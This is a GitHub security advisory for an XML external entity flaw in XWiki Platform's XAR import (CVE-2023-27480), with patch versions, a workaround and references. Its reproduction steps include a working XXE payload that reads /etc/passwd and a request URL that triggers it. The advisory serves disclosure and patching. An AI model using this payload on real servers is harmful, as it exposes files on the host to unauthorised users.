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Security Advisories: GSA_kwCzR0hTQS1neDRmLTk3NmctN2c2ds4AAyAD

XWiki Platform vulnerable to data leak via Improper Restriction of XML External Entity Reference

Impact

Any user with edit rights on a document can trigger a XAR import on a forged XAR file, leading to the ability to display the content of any file on the XWiki server host.

Example to reproduce:

• Create a forget XAR file and inside it, have the following package.xml content:

  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  
  <package>
  <infos>
  <name>&xxe;</name>
  <description> &xxe; Helper pages for creating and listing Class/Template/Sheets</description>
  <licence></licence>
  <author>XWiki.Admin</author>
  ...
  

• Upload it onto a wiki page (e.g. XXE) as an attachment (e.g. test.xar).
• Call the page using http://localhost:8080/xwiki/bin/view/Main/XXE?sheet=XWiki.AdminImportSheet&file=test.xar

You'll then notice that the displayed UI contains the content of the /etc/passwd file.

Patches

The vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10-rc-1.

Workarounds

You'd need to get XWiki Platform sources and apply the changes from https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434 to the XarPackage java class and then copy the modified version to your WEB-INF/classes directory (or rebuild the xwiki-platform-xar-model maven module and replace the one found in WEB-INF/lib/).

References

• https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434
• https://jira.xwiki.org/browse/XWIKI-20320

For more information

If you have any questions or comments about this advisory:

• Open an issue in Jira XWiki.org
• Email us at Security Mailing List

Permalink: https://github.com/advisories/GHSA-gx4f-976g-7g6v
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neDRmLTk3NmctN2c2ds4AAyAD
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 1 year ago
Updated: over 1 year ago

CVSS Score: 7.7
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Identifiers: GHSA-gx4f-976g-7g6v, CVE-2023-27480
References:

• https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-gx4f-976g-7g6v
• https://nvd.nist.gov/vuln/detail/CVE-2023-27480
• https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434
• https://jira.xwiki.org/browse/XWIKI-20320
• https://github.com/advisories/GHSA-gx4f-976g-7g6v

Repository: https://github.com/xwiki/xwiki-platform
Blast Radius: 1.0

Affected Packages